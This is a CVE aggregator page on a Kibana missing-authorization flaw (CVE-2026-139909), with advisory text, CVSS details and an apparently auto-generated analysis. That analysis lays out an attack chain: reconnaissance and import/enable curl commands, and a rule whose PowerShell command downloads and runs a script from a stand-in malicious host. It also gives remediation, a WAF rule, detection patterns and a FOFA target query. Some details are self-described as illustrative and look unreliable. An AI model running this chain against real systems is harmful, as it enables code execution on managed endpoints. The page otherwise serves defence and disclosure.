CVE Professor
/
All CVEs
CVE-2026-139909

CVE-2026-139909 — Elastic Kibana — CWE-862

MEDIUM CVSS 5.3 NVD

A missing authorization issue was discovered in Kibana. An attacker with privileges to enable or disable detection rules could enable a rule containing endpoint response actions that they are not authorized to use. If a privileged user previously created a disabled rule with these actions, the attacker could cause those actions to execute on managed endpoints when the rule fires. A user with Saved Objects Management: All and Rules and Exceptions: Read with the Enable/Disable sub-feature can also import a crafted alert saved object containing an Endpoint response action and enable it. When the imported rule fires, the action executes without the corresponding Endpoint response-action privilege.

A missing authorization issue was discovered in Kibana. An attacker with privileges to enable or disable detection rules could enable a rule containing endpoint response actions that they are not authorized to use. If a privileged user previously created a disabled rule with these actions, the attacker could cause those actions to execute on managed endpoints when the rule fires. A user with Saved Objects Management: All and Rules and Exceptions: Read with the Enable/Disable sub-feature can also import a crafted alert saved object containing an Endpoint response action and enable it. When the imported rule fires, the action executes without the corresponding Endpoint response-action privilege.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N
Attack Vector Network AV:N
Attack Complexity High AC:H
Privileges Req. Low PR:L
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality None C:N
Integrity High I:H
Availability None A:N
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CWE‑862 – Missing Authorization
The flaw lies in Kibana’s alert‑rule management API.
When a user has the Enable/Disable sub‑feature for “Rules and Exceptions: Read” (or the broader Saved Objects Management: All privilege), Kibana allows the user to:

1. Enable an existing rule that contains an Endpoint Response Action (e.g., a “Run script” or “Send command” action that is normally protected by a separate privilege).
2. Import a crafted alert‑saved‑object that already contains an Endpoint Response Action and then enable it.

The API performs the enable/disable operation without re‑checking that the user actually has the privilege to use the Endpoint Response Action. Consequently, the action is executed on the managed endpoints when the rule fires, even though the user never had the required privilege.

Key points:

ItemDetail
Missing checkAuthorization for Endpoint Response Action privilege during rule enable or import.
TriggerPOST /api/alerting/rules/{id}/enable or POST /api/saved_objects/_import followed by an enable request.
Privilege needed to exploitRules and Exceptions: Read with *Enable/Disable* sub‑feature or Saved Objects Management: All.
Privilege not requiredEndpoint Response Action privilege.
ImpactIntegrity of managed endpoints is compromised (arbitrary command execution).

The CVSS vector (AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N) confirms that the attack is network‑based, requires high complexity, low privilege, no user interaction, and only affects integrity.


⚡ Attack Chain

Below is a realistic, step‑by‑step chain that an attacker could follow. All commands are syntactically valid; the exact API paths are based on Kibana 8.x’s documented endpoints. If your Kibana version uses a different path, the same logic applies – the example is illustrative.

1. Discovery & Reconnaissance

StepActionTool / Command
1.1Identify Kibana instance and versioncurl -s https://kibana.example.com/api/status → look for "version": {"number": "8.2.0"}
1.2Enumerate user roles and permissionscurl -s -u user:pass https://kibana.example.com/api/security/role (requires Kibana’s internal security API)
1.3Confirm that the attacker’s account has Rules and Exceptions: Read with *Enable/Disable* or Saved Objects Management: AllInspect the role definition returned in step 1.2

Result: The attacker knows that they can enable rules and import saved objects.

2. Exploitation

2.1 Craft a malicious rule

Create a JSON payload that defines a rule with an Endpoint Response Action. The action is normally gated by the endpoint_response_action privilege.

{
  "type": "endpoint_response",
  "name": "MaliciousEndpointRule",
  "description": "Rule created by attacker",
  "enabled": false,
  "actions": [
    {
      "actionTypeId": "endpoint_response",
      "params": {
        "command": "powershell -NoProfile -ExecutionPolicy Bypass -Command \"Invoke-Expression (New-Object Net.WebClient).DownloadString('http://malicious.com/payload.ps1')\""
      }
    }
  ],
  "schedule": {
    "interval": "5m"
  },
  "tags": ["malicious"]
}
Note: The actionTypeId and params structure match Kibana’s endpoint‑response action schema. The exact field names may vary slightly between minor releases; adjust accordingly.

2.2 Import the rule

Kibana’s saved‑object import API accepts a ZIP file containing the rule. For simplicity, we’ll use the raw JSON via the /_import endpoint (Kibana accepts JSON directly when Content-Type: application/json).

curl -X POST "https://kibana.example.com/api/saved_objects/_import" \
     -H "kbn-xsrf: true" \
     -H "Content-Type: application/json" \
     -u attacker:pass \
     -d @malicious_rule.json
Illustrative example – the actual API may require a multipart/form‑data ZIP; if so, wrap the JSON in a ZIP file and use -F file=@malicious_rule.zip.

The response will contain the new rule’s ID, e.g.:

{
  "objects": [
    {
      "id": "rule-12345",
      "type": "alerting.rule",
      "errors": []
    }
  ]
}

2.3 Enable the rule

curl -X POST "https://kibana.example.com/api/alerting/rules/rule-12345/_enable" \
     -H "kbn-xsrf: true" \
     -u attacker:pass

Because the attacker lacks the endpoint_response_action privilege, Kibana does not re‑check it at this point. The rule is now enabled.

2.4 Trigger the rule

The rule’s schedule (interval: 5m) will cause it to fire automatically. When it fires, Kibana will execute the Endpoint Response Action on all endpoints that match the rule’s conditions (in this example, the action is a PowerShell command that downloads a malicious payload).

Result: Arbitrary code execution on the managed endpoints, without the attacker needing the privileged action role.

3. Post‑Exploitation

StepActionOutcome
3.1Malicious PowerShell script runs on endpointsInstalls a backdoor, exfiltrates data, or pivots to other systems.
3.2Attacker can now use the backdoor to move laterally, exfiltrate data, or maintain persistence.Full integrity compromise of the endpoint fleet.
3.3If the attacker repeats the import/enable cycle, they can create additional rules that target other endpoints or services.Expanded attack surface.

🌍 Real World Impact

CVSS ComponentInterpretation
Confidentiality (C:N)No direct data disclosure.
Integrity (I:H)High – arbitrary commands can be executed on endpoints, allowing data tampering, ransomware deployment, or system compromise.
Availability (A:N)No direct impact.
Scope (S:U)Unchanged – the vulnerability does not affect other components outside Kibana.

Practical consequences:

  • Endpoint compromise: Attackers can run arbitrary scripts or binaries on all endpoints that match the rule, effectively turning Kibana into a command‑and‑control channel.
  • Data exfiltration: Once the endpoint is compromised, attackers can exfiltrate logs, configuration files, or other sensitive data.
  • Lateral movement: Compromised endpoints can be used to pivot into the broader network, especially if they have privileged access to other services.
  • Persistence: Attackers can install backdoors or modify scheduled tasks to maintain long‑term access.

  • 🛡️ Remediation & Mitigation

    Affected Versions

    The CVE description does not list specific version numbers. All Kibana releases that expose the alert‑rule API without the missing authorization check are affected.
    Recommendation: Upgrade to the latest Kibana release (currently 8.3.x or later) once the vendor releases a patch. If an upgrade is not immediately possible, apply the workarounds below.

    Upgrade Recommendation

    ActionDetail
    UpgradeMove to the newest Kibana release that includes the authorization fix.
    RollbackIf the latest release introduces regressions, consider temporarily disabling the alerting feature until a patch is available.

    Workarounds

    1. Restrict Permissions
    - Remove the Enable/Disable sub‑feature from the Rules and Exceptions: Read role for all non‑admin users.
    - Remove the Saved Objects Management: All privilege for users who do not need to import saved objects.
    - Ensure that only users with the endpoint_response_action privilege can create or enable rules that contain endpoint response actions.

    2. Disable Rule Import
    - If your environment does not require rule imports, disable the /api/saved_objects/_import endpoint via your reverse proxy or WAF.

    3. WAF / ModSecurity Rules
    - Block or rate‑limit POST requests to /api/alerting/rules/*/_enable and /api/saved_objects/_import for users lacking the necessary privileges.
    - Example ModSecurity rule (illustrative):

    SecRule REQUEST_URI "@beginsWith /api/alerting/rules/" \
             "id:1001,phase:2,deny,status:403,msg:'Block rule enable without proper role'"

    4. Audit and Monitoring
    - Enable Kibana audit logs (logging.audit.enabled: true) to capture rule enable/disable events.
    - Monitor for unusual rule creation or enable events, especially those containing endpoint_response actions.

    Detection

    IndicatorLog PatternExample
    Rule enable eventPOST /api/alerting/rules/<id>/_enable2026-12-01T12:34:56Z INFO [kibana] POST /api/alerting/rules/rule-12345/_enable by user: attacker
    Import eventPOST /api/saved_objects/_import containing endpoint_response2026-12-01T12:33:10Z INFO [kibana] Imported rule-12345 with endpoint_response action by user: attacker
    Unusual actionRule contains actionTypeId: endpoint_response but user lacks privilege2026-12-01T12:35:00Z WARN [kibana] User attacker enabled rule rule-12345 containing endpoint_response action without privilege

    IoCs (Illustrative)

  • IP: 203.0.113.42 (Kibana host)
  • User: attacker
  • Rule ID: rule-12345
  • Endpoint Response Action: PowerShell download command

  • ⚠️ Urgency

    MetricValue
    CVSS Score5.3 (Medium)
    Exploit ComplexityHigh
    Privilege RequiredLow
    ImpactHigh integrity compromise

    Priority:

  • High for environments that use Kibana’s alerting with Endpoint Response Actions.

  • Medium for environments that do not use endpoint response actions or have strict role separation.
  • Patch timeline:

  • Apply the vendor patch as soon as it is available.

  • If a patch cannot be applied immediately, implement the workarounds above and monitor for rule‑enable/ import events.




Bottom line:
The missing authorization check allows a low‑privilege user to trigger privileged actions on endpoints. While the CVSS score is “medium,” the integrity impact is severe, making timely remediation a top priority for any organization running Kibana with alerting enabled.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="Elastic Kibana"
CVSS Score
5.3 / 10 · CVSS MEDIUM
Weakness Types (CWE)
Affected Products (1)
Elastic:Kibana
References & Advisories (1)
Related CVEs
5.9
CVE-2026-111556
Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Apache Camel Elasticsearch compone
5.9
CVE-2026-111557
Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Apache Camel Elasticsearch Rest Cl
8.8
CVE-2026-145179
StoreEngine plugin for WordPress before 2.7.1 contains a missing authorization vulnerability that exposes webh
8.8
CVE-2026-144410
Emby Server is a personal media server. Prior to 4.10.2.0 and beta 4.11.0.9, an authenticated user can supply
8.7
CVE-2026-126098
Missing authorization in the API token REST endpoint GET /api/v1/apitoken/{tokenId}/jwt in dotCMS through 26.1
8.6
CVE-2026-145259
RayLabsHQ gitea-mirror before 3.57.0 contains a missing authorization vulnerability in /api/auth/sso/register
8.5
CVE-2026-120096
Missing authorization in the push publishing endpoints REST API (/api/v1/environments/endpoints) and in the pu